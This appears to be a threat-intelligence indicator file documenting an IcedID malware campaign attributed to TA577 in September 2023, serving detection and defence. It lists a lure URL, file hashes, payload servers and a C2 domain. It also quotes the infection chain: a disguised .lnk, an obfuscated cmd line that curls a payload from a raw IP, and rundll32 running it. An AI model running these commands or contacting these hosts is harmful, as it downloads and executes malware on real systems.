IcedID / icedID_09.28.2023.txt

36 lines (20 loc) · 1022 Bytes

Code Blame Raw

```
IcedID | 09.28.2023 | Campaign 163487289 | TA577 |

**************************************

.url https://themarijuanashow.com/rt/
.zip 96183d3cd4307ff21793b4eaf54ee2c6c7e387e7c5d896f159d980eb1344301a
.dll 1f80003416d85564aa437e72de131702a3a413b4d60611bf412f92ee9cf1f7ee

**************************************

Exec >>

cmd /c C:\Users\Admin\AppData\Local\Temp\4DH.pdf.lnk

cmd.exe /c fbV3 || ecHO fbV3 & PiNG fbV3 || CurL http://155.138.164.116/RfOhPtl/3p -o C:\Users\Admi

C:\Windows\system32\PING.EXE

PiNG  -n 3 fbV3

ruNdlL32  C:\Users\Admin\AppData\Local\Temp\fbV3.log  scab /k pechene634

**************************************

.dll distro

```

```
27    http://155.138.164.]116/RfOhPtl/3p
28    http://155.138.223.115/eM19/Qs1
29
30    ************************************
31
32    c2 downloader
33
34    http://carsfootyelo.com/
35
36    ************************************
```